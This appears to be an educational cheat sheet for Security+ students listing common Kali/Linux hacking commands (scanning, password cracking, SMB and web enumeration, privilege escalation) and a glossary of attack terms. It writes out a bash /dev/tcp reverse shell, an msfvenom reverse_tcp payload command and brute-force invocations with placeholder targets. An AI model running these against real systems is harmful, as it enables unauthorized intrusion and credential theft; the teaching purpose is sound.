

# Basic Hacking Commands and Terms for Security+ Students

## ### Common Hacking Commands (Linux/Kali)

### 1. Network Scanning & Enumeration

- nmap [IP] - Basic port scan
- nmap -sV [IP] - Detect service versions
- nmap -O [IP] - Operating system detection
- nmap -A [IP] - Aggressive scan: detects OS, services, scripts, and traceroute
- nmap -p- [IP] - Scan all 65535 TCP ports
- netdiscover - Discover live hosts on the network
- arp-scan -l - Local network ARP scan
- whois [domain] - Domain registration info

### 2. Password Attacks

- hydra -l user -P /path/to/wordlist.txt [protocol]://[target] - Brute-force attack
- john --wordlist=[path] [hashfile] - Crack hashed passwords with John the Ripper
- hashcat -m [mode] -a 0 [hashfile] [wordlist] - Advanced password cracking
- crunch [min] [max] [charset] -o wordlist.txt - Generate custom wordlist

### 3. SMB & File Sharing

- smbclient -L //[IP]/ - List SMB shares
- crackmapexec smb [IP] -u user -p pass - Test SMB login or run commands
- enum4linux [IP] - SMB enumeration

### 4. Web Attacks

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- gobuster dir -u http://[IP] -w /path/to/wordlist.txt - Directory brute-forcing
- nikto -h http://[IP] - Web vulnerability scanner
- curl -I http://[IP] - Fetch HTTP headers
- sqlmap -u http://[IP]/vuln.php?id=1 --batch - SQL injection testing

### 5. Privilege Escalation

- sudo -l - List sudo permissions
- linux-exploit-suggester.sh - Recommend Linux exploits
- windows-exploit-suggester.py - Recommend Windows exploits

### 6. Shells and Payloads

- nc -lvp [port] - Listen for a reverse shell
- msfvenom -p windows/meterpreter/reverse\_tcp LHOST=[IP] LPORT=[port] -f exe > shell.exe - Generate payload
- bash -i >& /dev/tcp/[IP]/[PORT] 0>&1 - Reverse shell (bash)

### 7. System Investigation

- ps aux - List running processes
- netstat -tulnp - List open ports and services
- ls -la - List files with permissions
- cat /etc/passwd - View user accounts

### 8. Packet Capture

- tcpdump -i [interface] - Capture network traffic
- wireshark - GUI-based packet analysis

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## ### Must-Know Hacking Terms

1. Vulnerability: A weakness that can be exploited.
2. Exploit: Code or method used to take advantage of a vulnerability.
3. Payload: Malicious code delivered through an exploit (e.g., a reverse shell).
4. Brute Force: Attempting many passwords until the correct one is found.
5. Dictionary Attack: Trying passwords from a list (wordlist).
6. Privilege Escalation: Gaining higher access (e.g., user to root/admin).
7. Persistence: Maintaining access to a compromised system.
8. Lateral Movement: Spreading to other machines in the network.
9. Enumeration: Extracting detailed system or service information.
10. Reconnaissance: Gathering information before an attack.
11. Pivoting: Using a compromised machine to access others.
12. Post-Exploitation: Activities done after gaining access, like data theft.
13. TTPs: Tactics, Techniques, and Procedures used by attackers.
14. C2 (Command and Control): The system an attacker uses to control a compromised machine.
15. Red Team / Blue Team: Red = attackers, Blue = defenders.
16. Penetration Testing: Authorized testing of systems for vulnerabilities.
17. Social Engineering: Manipulating people to gain unauthorized access.
18. Zero-Day: An unknown or unpatched vulnerability.
19. RAT (Remote Access Trojan): Malware allowing full control of a victim system.
20. IDS/IPS: Intrusion Detection/Prevention Systems.